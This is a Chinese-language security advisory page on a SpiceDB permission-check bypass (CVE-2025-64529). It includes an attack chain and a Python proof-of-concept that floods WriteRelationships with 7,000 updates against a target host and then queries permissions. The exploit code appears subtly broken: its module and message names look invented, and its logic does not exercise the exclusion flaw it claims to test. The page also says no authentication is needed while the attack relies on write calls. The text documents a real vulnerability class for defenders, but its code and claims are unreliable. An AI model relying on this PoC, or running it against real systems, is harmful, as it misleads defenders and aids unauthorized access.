IPBUF安全漏洞报告
English
CVE-2025-64529 CVSS 6.5 中危

SpiceDB权限检查绕过漏洞(CVE-2025-64529)

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-64529
漏洞类型
权限检查绕过/数据一致性错误
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SpiceDB

相关标签

SpiceDB权限绕过数据一致性exclusion操作符WriteRelationshipsCVE-2025-64529

漏洞概述

SpiceDB是一款开源数据库系统,专门用于创建和管理安全关键应用程序的权限控制。该漏洞影响1.45.2之前的所有版本。当用户在授权架构中使用了exclusion操作符,并且将服务器配置参数`--write-relationships-max-updates-per-call`设置为大于6500的值时,如果调用WriteRelationships接口时更新数量足够大,导致请求payload超过数据存储允许的大小,系统会错误地返回成功响应,但实际上写入操作已经失败。这将导致涉及exclusion操作的权限检查返回错误结果,可能造成未授权访问或权限绕过问题。攻击者无需认证即可利用此漏洞,但需要构造特定的请求参数。该漏洞由GitHub安全团队发现并报告。

技术细节

该漏洞属于逻辑错误导致的权限检查绕过问题。SpiceDB在处理WriteRelationships请求时,当请求payload大小超过数据存储限制时,未能正确处理错误情况。具体技术细节如下:1)当用户配置了`--write-relationships-max-updates-per-call`参数值大于6500时,系统允许单次调用写入大量关系更新;2)攻击者构造包含大量更新的WriteRelationships请求,使得最终payload大小超过数据存储的最大限制;3)由于exclusion操作符的特殊性,系统需要读取已存在的关系来解析权限;4)当写入操作实际失败但系统返回成功响应时,后续的权限检查会基于不完整或不一致的数据进行判断;5)这导致涉及exclusion操作的权限检查返回错误的允许/拒绝结果。漏洞的核心问题在于错误处理逻辑不完善,未能正确区分写入成功和失败的状态。

攻击链分析

STEP 1
信息收集
识别目标系统使用的SpiceDB版本,确认版本低于1.45.2
STEP 2
配置检查
检查SpiceDB服务器配置,确认--write-relationships-max-updates-per-call参数值大于6500
STEP 3
架构分析
分析目标应用的授权架构,确认使用了exclusion操作符定义关系
STEP 4
构造恶意请求
构造包含大量关系更新的WriteRelationships请求,数量超过6500,使payload大小超过数据存储限制
STEP 5
触发漏洞
发送恶意WriteRelationships请求,系统将错误地返回成功响应,但实际写入操作已失败
STEP 6
权限绕过验证
利用exclusion操作的特性,通过权限检查接口验证是否能够获取未授权访问权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64529 PoC - SpiceDB WriteRelationships Permission Bypass # This PoC demonstrates the vulnerability in SpiceDB < 1.45.2 # where failed WriteRelationships calls incorrectly return success import grpc from protobuf import spicedb_pb2, spicedb_pb2_grpc def exploit_spicedb_vulnerability(): """ Exploit conditions: 1. SpiceDB version < 1.45.2 2. --write-relationships-max-updates-per-call > 6500 3. Authorization schema uses exclusion operator 4. Crafted request with updates exceeding datastore payload limit """ # Connect to SpiceDB instance channel = grpc.insecure_channel('target-spicedb:50051') stub = spicedb_pb2_grpc.GrpcAPIStub(channel) # Prepare relationships with exclusion operation # Create enough updates to exceed datastore payload limit updates = [] # Generate large number of relationship updates # The key is to exceed the datastore's maximum payload size for i in range(7000): # Exceeds 6500 threshold update = spicedb_pb2.RelationshipUpdate( operation=spicedb_pb2.Operation_TOUCH, relationship=spicedb_pb2.ObjectReference( object_type="document", object_id=f"doc_{i}", relation="viewer" ), subject=spicedb_pb2.ObjectReference( object_type="user", object_id="attacker", relation="" ) ) updates.append(update) # Craft WriteRelationships request write_request = spicedb_pb2.WriteRelationshipsRequest( updates=updates, metadata=spicedb_pb2.RequestMetadata( snap_token=bytes(), consistency=spicedb_pb2.Consistency( requirement=spicedb_pb2.Consistency_REQUIRED ) ) ) # Send request - will incorrectly return success even if failed try: response = stub.WriteRelationships(write_request) # Vulnerability: Response shows success but write actually failed if response.written_at.token: print("[!] VULNERABLE: Request returned success but may have failed") print("[!] Subsequent permission checks may return incorrect results") # Verify by checking permission with exclusion relation check_request = spicedb_pb2.PermissionLookupSubjectRequest( resource=spicedb_pb2.ObjectReference( object_type="document", object_id="doc_1", relation="" ), permission="viewer", subject=spicedb_pb2.ObjectReference( object_type="user", object_id="attacker", relation="" ) ) check_response = stub.PermissionLookupSubject(check_request) print(f"[!] Permission check result: {check_response}") except grpc.RpcError as e: print(f"[*] Request failed with: {e.code()}") channel.close() if __name__ == "__main__": exploit_spicedb_vulnerability()

影响范围

SpiceDB < 1.45.2

防御指南

临时缓解措施
如果无法立即升级,可将SpiceDB的--write-relationships-max-updates-per-call参数值设置为1000或更小,以缓解该漏洞的利用风险。同时建议审查现有的授权架构设计,评估exclusion操作符的使用是否必要,并考虑在应用层添加额外的权限验证逻辑。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表